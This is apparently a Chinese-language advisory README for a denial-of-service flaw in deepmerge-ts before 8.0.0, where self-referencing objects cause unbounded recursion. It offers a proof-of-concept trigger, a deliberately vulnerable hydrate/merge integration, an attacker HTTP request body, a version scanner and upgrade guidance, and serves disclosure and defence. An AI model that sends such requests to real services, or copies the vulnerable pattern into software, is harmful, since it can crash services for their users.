我在 deepmerge-ts 8.0.0 之前的版本中复现了一个栈耗尽漏洞。
有趣的是,崩溃并不需要庞大的嵌套对象。它源于对象标识(object identity)。如果被合并的两个值通过同一属性指回自身,合并例程就会不断访问同一对对象,直到 Node.js 耗尽栈空间。
安全公告:GHSA-ggr8-5vv4-36mx CVE:CVE-2026-40345 CWE:CWE-674 严重性:高 影响:可用性
大多数合并测试使用普通的 JSON 形状数据:
{
user: {
name: "alice"
}
}
这类数据是无环的。JavaScript 对象也可以包含对自身或同一图中另一个对象的引用。如果测试套件只使用 JSON 测试数据,这些情况很容易被忽略。
最小的触发失败图是两个各自带有相同自引用的独立对象:
const left = {};
left.self = left;
const right = {};
right.self = right;
记录合并会遍历可枚举键,收集每个键的值,并再次为这些值调用合并例程。在受影响的版本中,既没有环检查,也没有对已访问对象对的跟踪。
self 键会让执行重新进入同一状态:
deepmerge(left, right)
-> merge(left.self, right.self)
-> merge(left.self, right.self)
-> merge(left.self, right.self)
-> RangeError: Maximum call stack size exceeded
当 deepmergeInto、deepmergeCustom 和 deepmergeIntoCustom 收到同类图时,也会出现相同的行为。
在 package.json 中,该包被固定到受影响的 7.1.6 版本。
npm install
npm run poc
完整测试位于 poc.mjs。它会在本地运行两个公共 API,并捕获预期的 RangeError,以便结果易于阅读。
PoC 的关键部分如下:
import { deepmerge } from "deepmerge-ts";
function recursiveRecord() {
const record = {};
record.self = record;
return record;
}
deepmerge(recursiveRecord(), recursiveRecord());
预期输出:
deepmerge: RangeError: Maximum call stack size exceeded
deepmergeInto: RangeError: Maximum call stack size exceeded
当观察到受影响的行为时,PoC 返回成功。如果包已升级且两次调用均完成,它会打印一个干净的结果并以状态 1 退出,因为问题未复现。
这里不存在神奇的循环 JSON 载荷。普通的 JSON 解析器会创建无环图,因此仅向以下代码发送非常深的 JSON 主体并不会触发此问题:
deepmerge(defaults, req.body);
应用程序需要在调用合并函数之前创建或保留环。这种情况可能出现在图的水合(hydration)代码、保留引用的反序列化器、缓存或会话对象复用,或将记录链接在一起的自定义逻辑中。
下面是一个易受攻击的集成的小例子。hydrate 函数将用户控制的标志转换为自引用:
import { deepmerge } from "deepmerge-ts";
function hydrate(input) {
const object = { value: input.value };
if (input.self === true) object.self = object;
return object;
}
function mergeRequest(body) {
const left = hydrate(body.left);
const right = hydrate(body.right);
return deepmerge(left, right);
}
如果某个 HTTP 路由调用 mergeRequest,攻击者可以发送:
POST /merge
Content-Type: application/json
{"left":{"value":"a","self":true},"right":{"value":"b","self":true}}
现在双方都包含一个 self 引用。当路由调用 deepmerge(left, right) 时,库会追踪 left.self 和 right.self,再次收到同一对对象,并持续递归,直到 V8 抛出异常。
应用程序不一定非得使用这个确切的 hydrate 函数。重要条件如下:
如果该路由是公开的且异常未被捕获,单个请求就可以让 Node.js 工作进程停止。如果进程管理器会自动重启它,重复请求可能会使服务持续处于重启循环中。如果要求身份验证,攻击者仍然需要能够访问该路由。
这是一个拒绝服务问题。该漏洞不会提供代码执行、文件访问或读取另一请求合并输入的能力。
在评估真实应用程序时,这种区别很重要。以下请求体本身并不是环:
{
"self": true
}
只有当应用程序代码将 self: true 解释为对根对象的引用,或者其他解析器还原对象引用时,它才具有相关性。该包仍应安全地处理由此产生的图,但远程可利用性取决于该包周围的代码。
直接影响是通过同步栈耗尽导致的可用性问题。
取决于周边应用程序,结果可能是:
RangeError 失败这一问题本身没有机密性或完整性影响。当合并路由未经过身份验证、可从公共互联网访问,或被其他服务自动重试时,严重性会增加。
我添加了 scanner.mjs,用于在运行崩溃 PoC 之前查找受影响的依赖引用。它会检查:
package.json 依赖范围package-lock.jsonnpm-shrinkwrap.jsonpnpm-lock.yaml针对项目目录运行它:
node scanner.mjs /path/to/project
对于 CI 或其他工具,请使用 JSON 输出:
node scanner.mjs /path/to/project --json
本仓库的示例结果:
deepmerge-ts findings: 2
VULNERABLE package-lock.json node_modules/deepmerge-ts resolved=7.1.6
VULNERABLE package.json dependencies requested=7.1.6
当扫描器发现受影响的版本或范围时,会以状态 1 退出。Git URL 和其他非 semver 来源会被标记为 REVIEW,而不会被静默视为安全。
直接修复方式是升级到 deepmerge-ts >= 8.0.0 并刷新 lockfile。
npm install deepmerge-ts@^8.0.0
应用程序还应决定如何处理递归输入。合理的选择包括:
捕获错误有助于进程稳定,但如果攻击者能重复请求,它并不能消除根本的拒绝服务问题。升级依赖并处理递归输入才是重要的修复措施。
将依赖改为 8.0.1,重新安装,然后运行相同的 PoC:
npm install [email protected]
npm run poc
在已修复的版本上,两次调用都会完成,脚本会打印:
deepmerge: completed
deepmergeInto: completed
No stack exhaustion observed. Try an affected version below 8.0.0.
本仓库中的 PoC 和扫描器均根据 MIT 许可证 发布。